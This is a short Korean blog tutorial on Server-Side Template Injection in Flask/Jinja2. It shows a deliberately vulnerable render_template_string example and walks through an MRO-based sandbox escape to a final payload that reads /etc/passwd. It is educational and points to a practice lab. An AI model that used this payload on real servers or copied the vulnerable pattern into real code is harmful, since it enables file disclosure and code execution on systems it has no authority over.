SSTI(Server-Side Template Injection)?
공격자가 서버에서 임의의 코드를 실행할수있게 사용자가 template 지시문을 injection 하는것이다.
template engine을 사용하면 런타임때 HTML페이지의 실제 값으로 변수/ 자리 표시자를 대체하는 정적 템플릿 파일을 사용해 HTML 페이지를 더 쉽게 디자인 할 수있다.
예시코드
@app.route('/', methods=['GET', 'POST'])
def home():
user = request.args.get('user')
if not user:
user = 'guest'
template = '''Hello %s !!!'''%user
return render_template_string(template)
템플릿 엔진으로 Smarty, Twig, Jinja2, FreeMarker, Velocity가 있다.
SSTI는 공격자가 서버에서 임의의 코드를 실행 할 수있는 사용자 입력으로 템플릿 지시문 을 넣을 때 가능하다. 웹 페이지의 소스를 보고 템플릿 엔진을 사용하고 있다고 추측하는 것이 먼저이다.
https://github.com/s4n7h0/xvwa 에서 시도 가능하다.
Jinja2
Jinja2 템플릿 문법 - {{ 코드 }}이며 코드 자리에 python 처럼 사용이 가능하다
하지만 파일 읽기 및 시스템 함수 호출을 위해선 SandBox를 탈출 해야한다.
아래와 같이 사용하기에는 SandBox 가 막고있다.
{{ open('/etc/passwd','rb').read() }}
따라서 SandBox 탈출을 위해 MRO를 이용하여 사용할 클래스를 찾아야한다.
MRO?
MRO (Method Resolution Order)는 Python이 클래스 계층 구조에서 메서드를 찾는 순서를 의미하며
현재 클래스와 연관된 모든 클래스를 출력할 수 있다.
''는 문자열 이지만 {{ ''.__class__.__mro__ }} 를 출력해보면 3가지가 나온다.
- <type 'str'>
- <type 'basestring'>
- <type 'object’>
그 중에서 <type 'object’> 클래스로 들어가 서브 클래스를 출력하면 아래와 같이 object의 서브 클래스들이 출력된다.
{{ ‘’.__class__.__mro__[2].__subclasses__() }}
이들 중에서 본인 환경에서 40번째 클래스를 선택하면 파일 클래스를 찾을 수 있었다.
{{ ‘’.__class__.__mro__[2].__subclasses__()[40] }} -> <type 'file’>
이제 여기서 open('/etc/passwd').read() 를 할 경우 파일을 읽을 수 있다.
최종 페이로드
{{ ''.__class__.__mro__[2].__subclasses__()[40].open('/etc/passwd').read() }}
참고 : medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee
'웹 공격 기법들 > SSTI' 카테고리의 다른 글
SSTI로 쉘따는 방법(TWIG) (RCE) (0) | 2021.03.03 |
---|